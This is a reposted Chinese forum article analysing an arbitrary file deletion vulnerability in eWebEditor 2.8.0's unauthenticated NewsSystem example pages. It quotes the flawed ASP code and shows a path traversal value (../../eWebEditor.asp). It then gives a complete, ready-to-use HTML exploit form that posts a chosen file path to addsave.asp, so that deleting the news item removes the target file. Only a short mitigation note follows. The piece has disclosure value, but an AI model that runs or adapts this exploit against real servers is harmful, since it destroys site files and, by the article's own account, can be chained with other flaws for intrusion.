• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法

    发布者: 霞绮2878 | 发布时间: 2025-6-28 23:16| 查看数: 86| 评论数: 0|帖子模式

    此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:
    ' 把带"|"的字符串转为数组
    Dim aSavePathFileName
    aSavePathFileName = Split(sSavePathFileName, "|")
    ' 删除新闻相关的文件,从文件夹中
    Dim i
    For i = 0 To UBound(aSavePathFileName)
    ' 按路径文件名删除文件
    Call DoDelFile(aSavePathFileName(i))
    Next
    而aSavePathFileName是前面从数据库取出来的:
    sSavePathFileName = oRs("D_SavePathFileName")
    看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:
    sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
    ...
    oRs("D_SavePathFileName") = sSavePathFileName
    居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
    Function GetSafeStr(str)
    GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
    End Function
    无 语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新 闻,于是主目录下的eWebEditor.asp不见了!
    下面给出利用的htm:
    <HTML><HEAD><TITLE>eWebEditor删除文件 </TITLE>
    <style>body,p,td,input {font-size:9pt}</style>
    </HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a>
    <b>增加新闻</b>
    <form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
    method="post" name="myform">
    <input type=hidden name=d_originalfilename>
    <input type=hidden name=d_savefilename>
    <table cellspacing=3 align=center>
    <tr><td>要删的文件(相对路径就可以了):</td>
    <td><input type="text" name="d_savepathfilename" value="" size="90"></td>
    </tr>
    <tr><td>新闻标题(随便填):</td>
    <td><input type="text" name="d_title" value="" size="90"></td>
    </tr>
    <tr><td>标题图片:</td>
    <td><select name="d_picture" size=1><option value=''>无</option></select>
    当编辑区有插入图片时,将自动填充此下拉框</td>
    </tr>
    <tr><td>新闻内容(随便填):</td>
    <td><textarea name="d_content"></textarea></td>
    </tr>
    </table>
    <input type=submit name=btnSubmit value=" 提 交 ">
    <input type=reset name=btnReset value=" 重 填 ">
    </form>
    </BODY></HTML>
    删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历!

    解决方法:删除测试文件目录,把默认的登录密码修改,或直接删除管理页面,因为,我们配置好,很少再改动的,最好把一些后台文件压缩后,删除。
    来源:https://www.jb51.net/hack/12862.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表